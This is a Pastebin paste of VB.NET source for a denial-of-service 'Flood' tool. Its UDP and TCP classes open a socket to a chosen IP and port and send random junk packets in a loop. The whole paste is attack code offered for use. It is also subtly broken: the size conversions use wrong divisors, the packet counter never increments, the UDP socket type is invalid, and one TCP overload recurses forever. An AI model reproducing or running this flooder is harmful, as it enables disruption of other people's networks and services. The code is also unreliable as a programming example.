Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System
- Imports System.Net
- Imports System.Text
- Imports System.Diagnostics
- Imports System.Net.Sockets
- Namespace Flood
- #Region "Packet Monitoring"
- Class Data
- Public Bytes As Integer
- Public ReadOnly Property KB() As Integer
- Get
- Return Convert.ToInt32(Bytes / 1024)
- End Get
- End Property
- Public ReadOnly Property MB() As Integer
- Get
- Return Convert.ToInt32(Bytes / 2028)
- End Get
- End Property
- Public ReadOnly Property GB() As Integer
- Get
- Return Convert.ToInt32(Bytes / 3052)
- End Get
- End Property
- End Class
- #End Region
- Class UDP
- #Region "Variables"
- Public Client As Socket
- Public IP As String
- Public Port As Integer
- Public Packets As Integer
- Public PacketSize As Integer
- Public MaxPackets As Integer
- Public NetworkInfo As New Data()
- Public Flooding As Boolean
- #End Region
- Sub New()
- End Sub
- #Region "Flooding"
- Sub StopFlood()
- Flooding = False
- End Sub
- Sub Flood()
- Flood(IP, Port)
- End Sub
- Sub Flood(ByVal [IP] As String)
- Flood([IP], Port, MaxPackets)
- End Sub
- Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer)
- Flood([IP], [Port], MaxPackets)
- End Sub
- Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer, ByVal [MaxPackets] As Integer)
- Flood([IP], [Port], [MaxPackets], PacketSize)
- End Sub
- Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer, ByVal mPackets As Integer, ByVal pSize As Integer)
- If String.IsNullOrEmpty([IP]) Then Throw New ArgumentNullException("IP parameter can not be null or empty.")
- If [Port] > 65535 Then Throw New ArgumentOutOfRangeException("Port parameter can not exceed 65,535.")
- If mPackets < 0 Then Throw New ArgumentOutOfRangeException("Max packets parameter can not be below the value of 0.")
- If pSize > 65000 Then Throw New ArgumentOutOfRangeException("Packet size can not exceed 65,000.")
- If pSize < 0 Then Throw New ArgumentOutOfRangeException("Packet size can not be below the value of 0.")
- If pSize = 0 Then pSize = 3000
- Flooding = True
- Try
- Dim R As New Random(Guid.NewGuid().GetHashCode())
- Client = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Udp)
- Client.Connect(New IPEndPoint(Long.Parse([IP]), [Port]))
- While Flooding
- If Not mPackets = 0 AndAlso Packets > mPackets - 1 Then Flooding = False
- Dim Junkbyte(pSize) As Byte
- R.NextBytes(Junkbyte)
- If Client.Connected Then
- Client.Send(Junkbyte, (Junkbyte.Length - 1), SocketFlags.None)
- NetworkInfo.Bytes += pSize
- End If
- End While
- Catch ex As Exception
- Throw New Exception("Flooding Error: " & ex.Message)
- End Try
- End Sub
- #End Region
- End Class
- Class TCP
- #Region "Variables"
- Public Client As Socket
- Public IP As String
- Public Port As Integer
- Public Packets As Integer
- Public PacketSize As Integer
- Public MaxPackets As Integer
- Public NetworkInfo As New Data()
- Public Flooding As Boolean
- #End Region
- Sub New()
- End Sub
- #Region "Flooding"
- Sub StopFlood()
- Flooding = False
- End Sub
- Sub Flood()
- Flood(IP, Port, MaxPackets, PacketSize)
- End Sub
- Sub Flood(ByVal [IP] As String)
- Flood([IP], Port, MaxPackets)
- End Sub
- Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer)
- Flood([IP], [Port], MaxPackets)
- End Sub
- Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer, ByVal [MaxPackets] As Integer)
- Flood([IP], [Port], [MaxPackets])
- End Sub
- Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer, ByVal mPackets As Integer, ByVal pSize As Integer)
- If String.IsNullOrEmpty([IP]) Then Throw New ArgumentNullException("IP parameter can not be null or empty.")
- If [Port] > 65535 Then Throw New ArgumentOutOfRangeException("Port parameter can not exceed 65,535.")
- If mPackets < 0 Then Throw New ArgumentOutOfRangeException("Max packets parameter can not be below the value of 0.")
- If pSize > 65000 Then Throw New ArgumentOutOfRangeException("Packet size can not exceed 65,000.")
- If pSize < 0 Then Throw New ArgumentOutOfRangeException("Packet size can not be below the value of 0.")
- If pSize = 0 Then pSize = 3000
- Flooding = True
- Try
- Dim R As New Random(Guid.NewGuid().GetHashCode())
- Client = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
- Client.Connect(New IPEndPoint(Long.Parse([IP]), [Port]))
- While Flooding
- If Not mPackets = 0 AndAlso Packets > mPackets - 1 Then Flooding = False
- Dim Junkbyte(pSize) As Byte
- R.NextBytes(Junkbyte)
- If Client.Connected Then
- Client.Send(Junkbyte, (Junkbyte.Length - 1), SocketFlags.None)
- NetworkInfo.Bytes += pSize
- End If
- End While
- Catch ex As Exception
- Throw New Exception("Flooding Error: " & ex.Message)
- End Try
- End Sub
- #End Region
- End Class
- End Namespace
Add Comment
Please, Sign In to add comment